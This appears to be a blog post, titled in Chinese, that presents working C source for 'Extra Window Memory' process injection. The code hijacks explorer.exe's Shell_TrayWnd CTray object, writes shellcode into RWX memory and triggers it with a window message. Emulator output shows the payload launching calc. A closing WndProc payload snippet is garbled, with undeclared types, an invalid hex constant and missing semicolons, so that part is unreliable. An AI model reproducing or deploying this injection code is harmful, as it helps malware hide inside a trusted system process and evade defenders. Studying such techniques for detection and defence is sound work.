进程注入之Extra Window Memory（额外窗口内存）注入——利用用户自定义的数据注入恶意代码

/**
  Copyright © 2018 Odzhan. All Rights Reserved.

  Redistribution and use in source and binary forms, with or without
  modification, are permitted provided that the following conditions are
  met:

  1. Redistributions of source code must retain the above copyright
  notice, this list of conditions and the following disclaimer.

  2. Redistributions in binary form must reproduce the above copyright
  notice, this list of conditions and the following disclaimer in the
  documentation and/or other materials provided with the distribution.

  3. The name of the author may not be used to endorse or promote products
  derived from this software without specific prior written permission.

  THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR
  IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
  WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
  DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
  INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
  (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
  SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
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  POSSIBILITY OF SUCH DAMAGE. */

#define UNICODE

#include <windows.h>
#include <tlhelp32.h>

#include <stdio.h>

#pragma comment(lib, "user32.lib")
#pragma comment(lib, "shell32.lib")

  // extra window memory bytes for Shell_TrayWnd
typedef struct _ctray_vtable {
	ULONG_PTR vTable;    // change to remote memory address
	ULONG_PTR AddRef;    // add reference
	ULONG_PTR Release;   // release procedure
	ULONG_PTR WndProc;   // window procedure (change to payload)
} CTray;

typedef struct _ctray_obj {
	CTray *vtbl;
} CTrayObj;

DWORD readpic(PWCHAR path, LPVOID *pic) {
	HANDLE hf;
	DWORD  len, rd = 0;

	// 1. open the file
	hf = CreateFile(path, GENERIC_READ, 0, 0,
		OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (hf != INVALID_HANDLE_VALUE) {
		// get file size
		len = GetFileSize(hf, 0);
		// allocate memory
		*pic = malloc(len + 16);
		// read file contents into memory
		ReadFile(hf, *pic, len, &rd, 0);
		CloseHandle(hf);
	}
	return rd;
}

VOID extraBytes(LPVOID payload, DWORD payloadSize) {
	LPVOID    cs, ds;
	CTray     ct;
	ULONG_PTR ctp;
	HWND      hw;
	HANDLE    hp;
	DWORD     pid;
	SIZE_T    wr;

	// 1. Obtain a handle for the shell tray window
	hw = FindWindow(L"Shell_TrayWnd", NULL);

	// 2. Obtain a process id for explorer.exe
	GetWindowThreadProcessId(hw, &pid);

	// 3. Open explorer.exe
	hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

	// 4. Obtain pointer to the current CTray object
	ctp = GetWindowLongPtr(hw, 0);

	// 5. Read address of the current CTray object
	ReadProcessMemory(hp, (LPVOID)ctp,
		(LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);

	// 6. Read three addresses from the virtual table
	ReadProcessMemory(hp, (LPVOID)ct.vTable,
		(LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);

	// 7. Allocate RWX memory for code
	cs = VirtualAllocEx(hp, NULL, payloadSize,
		MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	// 8. Copy the code to target process
	WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

	// 9. Allocate RW memory for the new CTray object
	ds = VirtualAllocEx(hp, NULL, sizeof(ct),
		MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// 10. Write the new CTray object to remote memory
	ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR);
	ct.WndProc = (ULONG_PTR)cs;

	WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr);

	// 11. Set the new pointer to CTray object
	SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);

	// 12. Trigger the payload via a windows message
	PostMessage(hw, WM_CLOSE, 0, 0);

	// 13. Restore the original CTray object
	SetWindowLongPtr(hw, 0, ctp);

	// 14. Release memory and close handles
	VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
	VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);

	CloseHandle(hp);
}

int main(void) {
	PWCHAR   *argv;
	int      argc;
	LPVOID   payload;
	DWORD    payloadSize;

	// get parameters
	argv = CommandLineToArgvW(GetCommandLine(), &argc);

	// argv[1] = L"D:\\data\\payload.bin";
	// if (argc != 2) { wprintf(L"usage: T1181-EWMI <payload>\n"); return 0; }

	payloadSize = readpic((WCHAR*)L"D:\\data\\payload.bin", &payload);
	if (payloadSize == 0) { wprintf(L"unable to read from %s\n", argv[1]); return 0; }

	extraBytes(payload, payloadSize);
	return 0;
}

D:\data>speakeasy -t payload.bin -r -a x64
* exec: shellcode
0x1044: 'kernel32.WinExec("cmd /c calc", 0x5)' -> 0x20
* Finished emulating

LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg,
	WPARAM wParam, LPARAM lParam)
{
	// igone messages other than WM_CLOSE
	if (uMsg != VM_CLOSE) return 0;
	WinExec_t pWinExec;
	DWORD   szWinExec[2];
	szCalc[2];

	// WinExec 
	szWinExec[0] = 0x456E6957
		szWinExec[1] = 0x00636578
		// calc 
		szCalc[0] = 0x636X6163
		szCalc[1] = 0;
	pWinExec = (WinExec_t)xGetProcAddress(szWinExec);
	if (pWinExec != NULL) {
		pWinExec((LPSTR)szCalc, SH_SHOW);
	}
	return 0;
}